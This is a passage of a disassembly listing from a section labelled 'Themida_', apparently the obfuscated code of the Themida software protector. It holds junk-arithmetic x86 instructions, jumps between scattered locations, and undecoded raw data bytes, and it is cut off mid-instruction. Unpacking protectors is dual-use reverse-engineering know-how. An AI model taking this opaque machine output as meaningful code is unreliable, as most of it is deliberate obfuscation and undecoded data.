dup(0) ; --------------------------------------------------------------------------- loc_54954B: ; CODE XREF: Themida_:0054CFCAj sub edx, eax pop eax and ecx, edx pop edx xor ecx, 728103E0h sub ebp, ecx pop ecx jmp loc_54F956 ; --------------------------------------------------------------------------- db 0B9h dd 7B7A67F3h, 9D8EBDBEh, 0C2C681B5h, 29716E3Bh, 0C2EE81CEh dd 59716E3Bh, 7318B951h, 0CE290359h, 0FABA5259h, 1533F55h dd 0E6C15AD6h, 0BDE68102h, 5151D91Dh, 0F1E9h, 0BEE38100h dd 8123A902h, 464462EBh, 0FFEB8117h, 0E9FFFFFFh, 3DB1h ; --------------------------------------------------------------------------- loc_5495B0: ; CODE XREF: Themida_:005525D4j sub edi, ebx sub edi, 69834A0Dh pop ebx jmp loc_54B3F3 ; --------------------------------------------------------------------------- dw 0C581h dd 0FFFFFFFFh, 0B9E9E987h, 8300007Ch, 48904ECh, 681CB824h dd 102D4F2Bh, 0F73A1F19h, 2DD0F7D0h, 5DDF1F66h, 9C055305h dd 0C589554Dh, 39E9EA89h, 8000007Ch, 525101EEh, 61B16CB2h dd 898FE9h, 4BB00h, 0C1810000h, 38730B7Bh, 0E993E955h dd 0C381FFFFh, 4, 4C381h, 1C870000h, 685C24h, 0E9000000h dd 0B9Ch, 41CC981h, 0B3E93292h, 8B000025h, 0EC812424h dd 4, 0E9242C89h, 0FFFFF80Fh ; --------------------------------------------------------------------------- loc_549648: ; CODE XREF: Themida_:0054FA8Fj xchg eax, [esp] jmp loc_54F92B ; --------------------------------------------------------------------------- loc_549650: ; CODE XREF: Themida_:0054DF2Fj neg ebp xor ebp, 56E3BEFh sub ebx, ebp pop ebp pop edi add ecx, ebx jmp loc_54D6AA ; --------------------------------------------------------------------------- db 1 dd 0F82959C8h, 794BBB53h, 0C8E91DB2h, 89000088h, 0ADBD242Ch dd 21347664h, 6A9BE9EBh, 3C8B0000h, 0E845E924h, 0CFB9FFFFh dd 0E952654Ah, 6F04h, 8704C683h, 815C2434h, 4C2h, 4BB5300h dd 1000000h, 241C8BDAh, 3304C483h, 14312414h, 24143324h dd 0F724248Bh, 4BC468E9h, 14890000h, 0E99C5024h, 0FFFFD828h dd 2C481h, 55660000h, 39D2E9h, 81DA0100h, 13722C2h, 0C2835B4Ch dd 24143302h, 33241431h, 665C2414h, 9C240429h, 0FFD7FBE9h dd 242C89FFh, 4BDh, 0EBE5600h, 151F849h, 5E082474h, 0A3B85056h dd 891B7933h, 448158C6h, 34AD0824h, 7429795Fh, 6C810824h dd 34AD0824h, 15E795Fh, 8104246Ch, 0A3042444h, 521B7933h dd 2EF6E9h, 0B60F5900h, 8734FFC0h, 255BE9h, 517A0500h dd 1D687D1Ch, 0E900000Dh, 90CEh, 4C18159h, 81000000h, 4C1h dd 25B6E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54976A: ; CODE XREF: Themida_:0054A3B8j shr eax, 0Bh xor ecx, eax push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_547393 ; --------------------------------------------------------------------------- loc_549780: ; CODE XREF: Themida_:005479D5j push edx mov edx, 29A0447Bh jmp loc_55072D ; --------------------------------------------------------------------------- db 87h dd 835C2434h, 5DE904C4h, 51FFFFD7h, 0C828D5B1h, 81240C8Bh dd 4C4h, 4EC8300h, 0E9241489h, 9161h, 1FE68h, 24348900h dd 0C681E689h, 4, 4EE81h, 0FF560000h, 5E042474h, 0E924048Fh dd 712Eh ; --------------------------------------------------------------------------- loc_5497D4: ; CODE XREF: Themida_:0055013Dj xor dh, 85h sub bl, 2Ah add bl, 9Fh jmp loc_54AE0C ; --------------------------------------------------------------------------- dw 0C281h dd 4, 380AE9h, 0C8B6600h, 0E9545224h, 3724h, 0E9505D5Ah dd 594Eh, 468505Bh, 58000000h, 2C6BE9h, 53EFD100h, 8C504C68h dd 0E9435B30h, 5F4Eh, 66CD3166h, 0B3E9E931h, 58FFFFF3h dd 4EC81h, 0C890000h, 0E92BB124h, 0FFFFFC4Eh ; --------------------------------------------------------------------------- loc_549838: ; CODE XREF: Themida_:00547BA2j inc ecx add ecx, 0A956A731h push ecx xor dword ptr [esp], 644717B0h jmp loc_548B43 ; --------------------------------------------------------------------------- dd 8142D2F7h, 0A41BABF2h, 6835E91Fh, 0E95D0000h, 31F2h dd 109EC581h, 0ED814CC6h, 0A8D111CAh, 895A5552h, 34FF5AD3h dd 0D2E95D24h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54987B: ; CODE XREF: Themida_:0054C7C4j xchg edx, [esp] jmp loc_550105 ; --------------------------------------------------------------------------- loc_549883: ; CODE XREF: Themida_:0055097Fj xor ebx, 233F446Ah dec ebx sub ebx, 567E2D31h xor ebx, 9C0708A1h shl ebx, 1 jmp loc_552230 ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 4EB8300h, 31BFE9h, 4EC8300h, 52242489h, 13079FBAh dd 2E2C110h, 1E78EA81h, 5401404Ch, 93E90424h, 0FF00000Bh dd 0C8B2434h, 4C48324h, 8904EC83h, 0FF54243Ch, 0E95F2434h dd 0FFFFDF62h ; --------------------------------------------------------------------------- loc_5498E4: ; CODE XREF: Themida_:0054AB30j add esp, 4 mov eax, edx jmp loc_550A1F ; --------------------------------------------------------------------------- aAsSgy db '€é/égy',0 align 2 loc_5498F6: ; CODE XREF: Themida_:0054EBD7j push dword ptr [esp] pop ecx jmp loc_549F82 ; --------------------------------------------------------------------------- loc_5498FF: ; CODE XREF: Themida_:0054D2FFj pop ecx add esp, 4 push dword ptr [edi+eax*4] jmp loc_54D864 ; --------------------------------------------------------------------------- dw 0F180h aQh7f db 'qh7F',0 align 2 dw 1C89h dd 55E95124h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54991F: ; CODE XREF: Themida_:0054728Dj pop esp jmp loc_546EF4 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54710C ; --------------------------------------------------------------------------- dd 8124048Fh, 42404h, 3C8B0000h, 0E9545324h, 4BD4h, 54243C89h dd 8B2434FFh, 8956243Ch, 4C681E6h, 0E9000000h, 5704h ; --------------------------------------------------------------------------- loc_54995C: ; CODE XREF: Themida_:00547E25j push dword ptr [esp] mov edi, [esp] add esp, 4 push 5062h mov [esp], ebp push esp jmp loc_54F9CC ; --------------------------------------------------------------------------- db 68h dd 5E52h, 4EE5E9h, 0F6ACB600h, 2BE680DEh, 0DEF6DEF6h, 0EC9E9h db 0 ; --------------------------------------------------------------------------- loc_54998D: ; CODE XREF: Themida_:00551344j not edx xor edx, 0B12A98A6h sub eax, edx pop edx sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], ebp mov ebp, 0AF954E6h push ebx mov ebx, 13E65D58h add ebp, ebx pop ebx shl ebp, 1 jmp loc_54B721 ; --------------------------------------------------------------------------- db 29h, 6Ch, 24h dd 4EBE5604h, 12CAF44h, 5E082474h, 55CDE9h db 0 ; --------------------------------------------------------------------------- loc_5499CD: ; CODE XREF: Themida_:0054836Dj add ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] mov ax, [esp] jmp loc_552581 ; --------------------------------------------------------------------------- loc_5499DF: ; CODE XREF: Themida_:00551D5Ej dec dword ptr [esp] pop eax xor eax, 99BAA4DBh push 7728h mov [esp], eax jmp loc_54B560 ; --------------------------------------------------------------------------- db 81h, 0C3h, 3Dh dd 1DB03F9h, 0E8835BD8h, 24043304h, 33240431h, 37E92404h dd 89000049h, 0D9215AD3h, 0E9241C8Bh, 4CAFh, 31241433h dd 14332414h, 0CA815C24h, 6C436795h, 587FEA81h, 0C28108EAh dd 9906E0C4h, 0E95AD001h, 7D89h, 437DBCB8h, 8BC6295Fh dd 0C4832404h, 0EA7E904h, 14890000h, 0B133B224h, 400AE996h dd 0E0C10000h, 0FFFF0503h, 0E940FFFFh, 8360h, 4C2815Ah dd 81000000h, 4C2h, 0D8D4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549A7E: ; CODE XREF: Themida_:0054F615j push ebx mov ebx, 1F0C57BCh and ebx, 5D92166Ch push ebx not dword ptr [esp] pop ebx jmp loc_548565 ; --------------------------------------------------------------------------- dd 4EC81h, 34890000h, 535E5424h, 4BD55h, 0EB890000h, 8B97E9h dd 91963500h, 24E90316h, 80000047h, 34E9E9C5h, 81FFFFE9h dd 0CA0C50C2h, 81FA015Fh, 0CA0C50EAh, 70ADE95Fh, 0B80000h dd 89000000h, 4362E9C5h, 34FF0000h, 0EF59E987h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549AE6: ; CODE XREF: Themida_:00549D35j push edx mov edx, 2BFD7A37h shl edx, 3 jmp loc_552227 ; --------------------------------------------------------------------------- a31L4SK db '3,$1,$‹4$龊',0 align 2 loc_549B02: ; CODE XREF: Themida_:0054AC74j sub edi, edx pop edx and eax, edi push dword ptr [esp] pop edi push eax mov eax, esp push esi jmp loc_5472FB ; --------------------------------------------------------------------------- loc_549B14: ; CODE XREF: Themida_:005472A6j mov ebx, [esp] add esp, 4 push 463Ah mov [esp], edx mov dh, 0C0h inc dh add dh, 1 and dh, 4Eh jmp loc_5515C8 ; --------------------------------------------------------------------------- db 5Eh, 5Dh, 0E9h dd 0FFFFD3BCh, 54045966h, 542CF800h, 83241C8Bh, 160404C4h dd 162CC800h, 8B66A42Ch, 0C481240Ch, 2, 0B60FC330h, 8734FFC0h dd 0FFD38FE9h db 0FFh ; --------------------------------------------------------------------------- loc_549B65: ; CODE XREF: Themida_:0054C414j jz loc_5484E8 push dword ptr [edi+1Ch] jmp loc_54D1A9 ; --------------------------------------------------------------------------- db 0BDh dd 22BA6C91h, 6C95F581h, 2E922BAh, 0B8000037h, 54816EACh dd 0A53BF57h, 54E97FB7h, 0AC00001Ch, 0B5515366h, 0E9CDFE23h dd 7919h ; --------------------------------------------------------------------------- loc_549BA0: ; CODE XREF: Themida_:00549182j add esp, 4 add esp, 4 add esp, 4 jmp loc_54832F ; --------------------------------------------------------------------------- db 52h dd 95787ABAh, 19E2E9EAh, 0C7810000h, 4, 31243C33h, 3C33243Ch dd 28E95C24h, 0B1000019h, 0F6C9FE74h, 0E05CE9D1h, 48FFFFFh dd 0D30AE987h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549BEA: ; CODE XREF: Themida_:0054F2A4j add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_550356 ; --------------------------------------------------------------------------- db 5Bh, 52h, 0E9h dd 3DFDh ; --------------------------------------------------------------------------- loc_549C08: ; CODE XREF: Themida_:0054C105j xor ah, 4Eh jmp loc_5476DF ; --------------------------------------------------------------------------- dd 66FD3166h, 3166E931h, 0E93166CDh, 240C3166h, 240C3366h dd 240C3166h, 0FFD2C7E9h, 88FC88FFh, 3E958E1h, 57FFFFF5h dd 0FFD67EE9h, 31B2FFh, 148B66D0h, 2C48124h, 4000000h dd 6CEAE918h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549C52: ; CODE XREF: Themida_:0054A768j pop edi add edx, edi push ecx jmp loc_5524C5 ; --------------------------------------------------------------------------- loc_549C5B: ; CODE XREF: Themida_:0054EBA8j mov esp, [esp] jmp loc_54D42C ; --------------------------------------------------------------------------- aSlS db '\)è‹,$éÔ)',0 align 2 loc_549C6E: ; CODE XREF: Themida_:0054BA82j push ecx push dword ptr [esp+4] pop ecx jmp loc_548F31 ; --------------------------------------------------------------------------- aQj4so db '-ºQ¦4éŽ',1Bh,0 db 0 ; --------------------------------------------------------------------------- loc_549C83: ; CODE XREF: Themida_:0054CE08j pop ebx xchg edx, [esp] mov esp, [esp] push edi jmp loc_54A969 ; --------------------------------------------------------------------------- loc_549C90: ; CODE XREF: Themida_:00550494j push ecx mov ecx, 4 add esi, ecx pop ecx push ebx mov ebx, 4 add esi, ebx pop ebx push esi mov esi, esp jmp loc_54FDA9 ; --------------------------------------------------------------------------- dw 0B951h dd 0D605221h, 36D484BDh, 59CD0131h, 56E9E9h, 7DC38000h dd 31ADE9h db 0 ; --------------------------------------------------------------------------- loc_549CC5: ; CODE XREF: Themida_:0054826Fj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add edi, 4 push eax push esi mov esi, 412F0BFEh dec esi and esi, 564403B3h not esi add esi, 400403B6h mov eax, esi jmp loc_54A0B9 ; --------------------------------------------------------------------------- dd 50AFB151h, 0EC83CC88h, 240C8904h, 0E952E188h, 68CCh dd 2DD8015Ch, 0B9C54A9h, 442C68h, 24148900h, 63EAFBAh dd 0B850422Dh, 62606CF6h, 0B3E9C231h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549D2F: ; CODE XREF: Themida_:0054D17Aj not dword ptr [esp] pop edx xchg edx, edi jmp loc_549AE6 ; --------------------------------------------------------------------------- dw 2C33h dd 242C3124h, 5C242C33h, 24148B66h, 7EA3E953h, 81520000h dd 4ECh, 241C8900h, 0A132BDBBh, 1D8CE967h, 0F660000h, 5166C8AFh dd 87CCE99Ch, 248B0000h, 24042824h, 646CE99Ch, 0E95F0000h dd 221Eh, 1B546857h, 1C890000h, 124BBB24h, 0ADBF029Ah dd 0E94C6E25h, 4FC5h ; --------------------------------------------------------------------------- loc_549D98: ; CODE XREF: Themida_:00548D13j xchg edi, [esp] pop esp mov [esp], edi mov edi, 4 sub esi, 3C0C1FA3h add esi, edi add esi, 3C0C1FA3h pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push 53A8h mov [esp], ebp mov ebp, 2CA23A36h inc ebp shr ebp, 8 push 29AEh mov [esp], edx jmp loc_54ECEA ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 0C1h dd 0E94504EDh, 0FFFFDC2Ah ; --------------------------------------------------------------------------- loc_549DE8: ; CODE XREF: Themida_:0054E4D4j mov ebp, [esp] add esp, 4 pop ebp xor ebp, 18EB4706h pop ecx and eax, ebp pop ebp or edx, eax shl edx, 1 push ebx push edx push ebp push eax mov eax, 62C1794Ch mov ebp, eax push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 mov edx, 4D072BEEh xor edx, ebp pop ebp jmp loc_54F5AE ; --------------------------------------------------------------------------- db 81h dd 0C4CA28F7h, 2217E9B8h, 8B660000h, 6DE9241Ch, 0FF000008h dd 669D1C77h, 14D36659h, 0A9E99C24h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549E4B: ; CODE XREF: Themida_:005489F0j add ecx, edx jmp loc_54F1F3 ; --------------------------------------------------------------------------- dw 0C601h dd 0E924048Bh, 3A13h, 592434FFh, 68E78957h, 1654h, 0B9240C89h dd 4, 1505C781h, 0B9E9088Dh db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549E7B: ; CODE XREF: Themida_:00550109j push dword ptr [esp] pop eax push ebp jmp loc_54EE63 ; --------------------------------------------------------------------------- db 0E9h, 6Ah, 0D0h dd 0CA01FFFFh, 0BB535759h, 7BB420CCh, 21D6EB81h, 0F3817ACCh dd 78691E8Eh, 0CDCCEB81h, 0DF893E8Eh, 76E7815Bh, 4F1C6413h dd 0E903E7C1h, 60F8h, 0FF59C828h, 0E9592434h, 0B16h ; --------------------------------------------------------------------------- loc_549EC4: ; CODE XREF: Themida_:00547C91j sub ebx, 3D040D38h or ebx, 2160433Ch inc ebx dec ebx jmp loc_54E399 ; --------------------------------------------------------------------------- db 1 dd 0C58358C5h, 242C8704h, 8124248Bh, 2C2h, 24143300h, 33241431h dd 0E3E92414h, 8100005Eh, 793FDEC9h, 1EC1811Ah, 0E9A287D3h dd 35D2h, 8851D088h, 0E9CF88C1h, 5A9Eh ; --------------------------------------------------------------------------- loc_549F14: ; CODE XREF: Themida_:0054B8DDj add edx, ecx jmp loc_54EC60 ; --------------------------------------------------------------------------- loc_549F1B: ; CODE XREF: Themida_:0054BF28j xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_54F692 ; --------------------------------------------------------------------------- db 89h, 14h, 24h aPsu db 'PéU',0Bh,0 align 2 dw 0C483h dd 3F0C6804h, 34890000h, 5E1A6824h, 348B09E2h, 4C48124h dd 0E9000000h, 0FFFFD2D2h, 8651E95Dh, 0F5810000h, 4EAD53C4h dd 0D9B5E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549F62: ; CODE XREF: Themida_:0054FCFFj add ecx, eax jmp loc_54A0F3 ; --------------------------------------------------------------------------- aHAlxxmxsli db 'h',7,9,'alX•M•鋈',0 dw 8300h dd 0D38904C4h, 0CF72E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549F82: ; CODE XREF: Themida_:005498FAj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_54A891 ; --------------------------------------------------------------------------- dd 0F6F1C280h, 4E2C0D2h, 0E971EA80h, 7F81h, 7F3815Bh, 5D4F3850h dd 28FE9h, 4EC8100h, 0E9000000h, 43CDh ; --------------------------------------------------------------------------- loc_549FC4: ; CODE XREF: Themida_:0054C2EBj push dword ptr [esp] pop ecx add esp, 4 or edx, eax shl edx, 1 jmp loc_550D5E ; --------------------------------------------------------------------------- loc_549FD4: ; CODE XREF: Themida_:0054D672j push eax jmp loc_54B4A4 ; --------------------------------------------------------------------------- dw 0E958h dd 8F7h ; --------------------------------------------------------------------------- loc_549FE0: ; CODE XREF: Themida_:00550D2Aj mov edi, [esp] add esp, 4 shr eax, 18h jmp loc_550968 ; --------------------------------------------------------------------------- dw 0C89h dd 4B924h, 0CE010000h, 592434FFh, 5E08950h, 4, 8704C083h dd 835C2404h, 78E904C6h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A013: ; CODE XREF: Themida_:00551419j sub edi, 3F62783Bh neg edi xor edi, edx jmp loc_54D175 ; --------------------------------------------------------------------------- dw 2958h dd 0BE565AD6h, 68FB55F5h, 37DFE9h, 4BE00h, 73E90000h, 87FFFFF3h dd 248B243Ch, 3CD36624h, 0A9E99C24h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A04B: ; CODE XREF: Themida_:00550C8Aj mov [esp], eax jmp loc_5515AF ; --------------------------------------------------------------------------- db 5Eh dword_54A054 dd 2BB53h, 84E90000h, 81FFFFDBh, 2ECh, 8CC8E900h, 8F5F0000h dd 248B2404h, 3CABE924h, 0C4810000h, 4, 815BDD01h, 4C5h dd 16536800h, 22E90000h, 57000053h, 4BFh, 0FFF90100h, 3C8B2434h dd 4C48124h, 52000000h, 0FFD338E9h, 0BEE95CFFh, 30000006h dd 0C0B60FC3h, 0FFFB29E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A0B9: ; CODE XREF: Themida_:00549CF3j pop esi add edi, eax jmp loc_550AC6 ; --------------------------------------------------------------------------- db 68h, 46h, 22h dd 14890000h, 60E95324h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A0CF: ; CODE XREF: Themida_:0054D33Fj mov ecx, esi jmp loc_54FE45 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 505D5455h, 4B8h, 58C50100h, 4C581h, 15E90000h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A0F3: ; CODE XREF: Themida_:00549F64j pop eax push 6299h mov [esp], edx push 2 mov edx, [esp] add esp, 4 add ecx, edx mov edx, [esp] add esp, 4 xor ecx, [esp] jmp loc_54E58A ; --------------------------------------------------------------------------- loc_54A11D: ; CODE XREF: Themida_:005519E2j push edx push esp mov edx, [esp] push ebp mov ebp, esp add ebp, 4 push edi mov edi, 3CEB141Ch dec edi sub edi, 0FFFFFFFFh jmp loc_54D9E4 ; --------------------------------------------------------------------------- dw 2BBh dd 0E9000000h, 0D22h, 246C815Fh, 0AF444E04h, 0F867E92Ch dd 0EC83FFFFh, 24348904h, 0CC2E9h, 0CDE95900h, 81000000h dd 0E54FA6C5h, 0AB685F50h, 5990DFCAh, 3EBBC181h, 4E9680Eh dd 8700008Ah, 895C2404h, 0E389241Ch, 0FFEDC9E9h, 241433FFh dd 33241431h, 815C2414h, 13756BC3h, 68C30104h, 3A03h, 0E9243489h dd 0FFFFD71Ch, 81240C8Bh, 4C4h, 4C38300h, 5C241C87h, 6804C483h dd 2F35h, 0E9240C89h, 3AF7h, 0E9240C29h, 53FFh, 37E9E0D1h dd 0B2FFFFE4h, 0F6C2FE86h, 2E2C0DAh, 0E9F9EA80h, 0FFFFFDB4h ; --------------------------------------------------------------------------- loc_54A1E8: ; CODE XREF: Themida_:0054A51Ej pop esp jmp loc_551CA2 ; --------------------------------------------------------------------------- dw 0EC83h dd 241C8904h, 88D18851h, 53AE9CFh, 0DC080000h, 66D4F65Bh dd 7FB353h, 305B66DCh, 0F83058E7h, 83241C8Bh, 96E904C4h dd 83000077h, 0A1E904C4h, 50000065h, 405E089h, 0E9000000h dd 0FFFFFB1Eh, 323EB850h, 10E95CDCh, 55000073h, 77415DBDh dd 0E9EE292Ch, 2FECh, 0FFCCA7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A24D: ; CODE XREF: Themida_:00546FB4j jmp loc_546EF4 ; --------------------------------------------------------------------------- dw 55Dh dd 7F985C54h, 5658E9h, 45E95600h db 78h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A263: ; CODE XREF: Themida_:00547F2Bj push edx mov edx, esp push eax mov eax, 4 add edx, eax pop eax jmp loc_54CE3D ; --------------------------------------------------------------------------- loc_54A274: ; CODE XREF: Themida_:0054FD5Cj xchg eax, ebx neg ebx xchg eax, ebx jmp loc_54DFA7 ; --------------------------------------------------------------------------- db 0BBh, 5, 4Dh dd 0C3814582h, 268A1E34h, 5158C381h, 0EB812722h, 29F60668h dd 6A97EB81h, 0C3817583h, 0C203329h, 0BD55EB29h, 0C203329h dd 39E9EB29h, 0F7FFFFD3h, 7FE82DD8h, 0C7017B52h, 582434FFh dd 6841E9h, 0E9515900h, 0FFFFD2F8h, 24048B66h, 187468h dd 242C8900h, 2434FF54h, 0FFD783E9h, 2434FFFFh, 81241C8Bh dd 4C4h, 5EFDE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A2EE: ; CODE XREF: Themida_:0054F23Cj pop esp push eax mov eax, 13673E76h shr eax, 2 and eax, 6A262553h sub eax, 50Dh add ebx, eax mov eax, [esp] jmp loc_54EE6A ; --------------------------------------------------------------------------- loc_54A30C: ; CODE XREF: Themida_:0054EE85j not eax jmp loc_552595 ; --------------------------------------------------------------------------- db 0FFh dd 5CE92434h, 66000004h, 55240C8Bh, 0DCC7E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A326: ; CODE XREF: Themida_:0054C015j shl ebp, 7 jmp loc_547651 ; --------------------------------------------------------------------------- dw 0F75Fh dd 29DC2DD8h, 27E90B03h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A33B: ; CODE XREF: Themida_:00548334j mov [esp], edx push 2000000h mov edx, [esp] jmp loc_54CC30 ; --------------------------------------------------------------------------- loc_54A34B: ; CODE XREF: Themida_:0054CC83j push ebx add dword ptr [esp], 0A9012D1h mov edi, [esp] add esp, 4 sub edi, 0A9012D1h pop ebx and ecx, edi pop edi shr ecx, 0Ah push ecx mov ecx, esp jmp loc_54AD9F ; --------------------------------------------------------------------------- dw 1468h dd 89000001h, 5668241Ch, 0E900007Fh, 6969h, 240C8B66h dd 0F5E9E955h, 0C781FFFFh, 0CB8E8264h, 3C8BF801h, 0E1895124h dd 4C181h, 0C1810000h, 4, 25F6E9h db 0 ; --------------------------------------------------------------------------- loc_54A3A9: ; CODE XREF: Themida_:0054C0B1j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_54976A ; --------------------------------------------------------------------------- db 68h, 0F3h, 76h dd 4890000h, 4BF9E924h, 0EEB90000h, 5672020Dh, 5B7029BEh dd 8BF12916h, 0C4812434h, 4, 79ECB850h, 89E977C8h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A3EB: ; CODE XREF: Themida_:00550EAAj sub edx, ecx sub edx, 1D2F5E8Fh jmp loc_54BD5E ; --------------------------------------------------------------------------- dd 0AE53DDBBh, 0DC08E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A402: ; CODE XREF: Themida_:00547E07j neg edx jmp loc_550604 ; --------------------------------------------------------------------------- db 81h, 0E5h, 2 aBcB db 'B—',0Ah db 'ÅÝ',0 db 1Ah dd 597FE974h, 8B660000h, 89562404h, 22BD55E6h, 8117803Ah dd 7FC5E2C5h, 0E9EE01E8h, 39C6h, 52E9D029h, 8F000016h dd 7FE92404h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A443: ; CODE XREF: Themida_:0054BA0Bj sub ah, 0B2h add bl, ah pop eax pop eax movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 0FFE828E9h, 88132CFFh, 195FE9C6h, 0FF5A0000h, 148B2434h dd 75C7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A46A: ; CODE XREF: Themida_:0054E651j mov [esp], ebx push edx mov edx, 3F086308h push ebp mov ebp, 16AC561Ch not ebp jmp loc_5523AB ; --------------------------------------------------------------------------- loc_54A480: ; CODE XREF: Themida_:00548724j pop ecx pop dword ptr [esp] mov eax, [esp] add esp, 4 push 75C6h mov [esp], ebp jmp loc_55232E ; --------------------------------------------------------------------------- db 33h dd 0E95C242Ch, 12EEh, 0E99CC138h, 5CA7h, 8800B652h, 0DC085AF3h dd 0B3535B66h, 0FD44E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A4BA: ; CODE XREF: Themida_:00548CE8j ; Themida_:0054F0CBj sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 push ebx mov ebx, 4 jmp loc_547969 ; --------------------------------------------------------------------------- aJssx db 'ÑêJéSX',0 align 2 dw 0F789h dd 7442E9h db 0 ; --------------------------------------------------------------------------- loc_54A4E5: ; CODE XREF: Themida_:0054F5DDj pop ecx mov bx, [esp] add esp, 2 xor ch, ah pop eax neg ch inc ch jmp loc_54DEFF ; --------------------------------------------------------------------------- loc_54A4F9: ; CODE XREF: Themida_:00547E60j mov esi, 28D66A7Bh dec esi xor esi, 1AF141A1h xor esi, ecx jmp loc_54F285 ; --------------------------------------------------------------------------- loc_54A50C: ; CODE XREF: Themida_:00547517j mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_54A1E8 ; --------------------------------------------------------------------------- loc_54A523: ; CODE XREF: Themida_:0054DF03j shr ch, 5 jmp loc_549367 ; --------------------------------------------------------------------------- loc_54A52B: ; CODE XREF: Themida_:0054F90Cj mov esi, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_54EA84 ; --------------------------------------------------------------------------- dd 0E94DB1h, 0B9FFFFDEh, 4, 163EE9h, 4AC28100h, 89857DB3h dd 0C3815AD6h, 592D3F1Eh, 0EB81F301h, 592D3F1Eh, 4C3815Eh dd 87000000h, 248B241Ch, 0A946824h, 0C890000h, 4EC8124h dd 89000000h, 0A2BD242Ch, 0F770412Ah, 3BE56DDh, 0F7491B66h dd 0DEF746DEh, 2074CE81h, 0C6813481h, 0C02BC145h, 815EF509h dd 5C02A7E5h, 0EDBF577Ah, 1CEF053h, 3418E9FDh, 0E1C10000h dd 16B1E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A5BE: ; CODE XREF: Themida_:0054713Ej add ebx, esi jmp loc_5476A9 ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 51000000h, 7A6B6856h, 815E6BBBh, 0F37C9FF6h, 34F6810Fh dd 89355315h, 49415EF1h, 0EC42C181h, 0CB01AEE4h, 324EE9h dd 0F5815E00h, 12367537h, 0BD555145h, 1F097125h, 0B30CED81h dd 0E989802Dh, 0C2ED815Dh, 296E9F4Ah, 3BECE9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A616: ; CODE XREF: Themida_:00547CE8j push dword ptr [esp] mov esi, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_5474C3 ; --------------------------------------------------------------------------- dd 0E904EC83h, 3D2Ch ; --------------------------------------------------------------------------- loc_54A634: ; CODE XREF: Themida_:0054C907j push edi mov edi, 28B747D9h jmp loc_54EDCD ; --------------------------------------------------------------------------- db 0BAh dd 6C4842A1h, 8105EAC1h, 6706D9F2h, 481525Dh, 376BAF24h dd 241C8B21h, 0E904C483h, 4D63h, 0E930FF5Ch, 0FFFFC88Ch dd 2414895Ch, 0FFC883E9h, 7EBA52FFh, 4A36A661h, 75E6CA81h dd 0EA816E2Dh, 1FE16ED4h, 0FFF1C3E9h, 5DE901FFh, 0E904C183h dd 601Dh, 0B1E9FD00h, 8B000072h, 1662424h, 0E99C2404h dd 0FFFFE519h, 8002C483h, 0D300F8C2h, 8124148Bh, 4C4h dd 0C0B60F00h, 6887048Dh, 5515h, 0E9240489h, 0FFFFC828h dd 24048B66h, 1CD668h, 243C8900h, 799668h, 24248900h, 2DBA68h dd 241C8900h, 4BBh, 245C0100h, 0E95F5B04h, 5043h, 2BDh dd 8BEE0100h, 5456242Ch, 4C6815Eh, 57000000h, 0B46565BFh dd 6A88E928h, 0B9510000h, 6F935BA8h, 0D7B85041h, 213F486Ah dd 0FFE958C1h, 80FFFFD1h, 0F8289BEFh, 0E9C8285Bh, 6499h dd 2EE95259h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A73F: ; CODE XREF: Themida_:00548B73j mov edx, 2F3E6AF5h push ebp mov ebp, 636F2FB5h shl ebp, 1 neg ebp and ebp, 2B880AAFh not ebp dec ebp sub ebp, 9FA5C307h sub edx, ebp pop ebp sub edx, 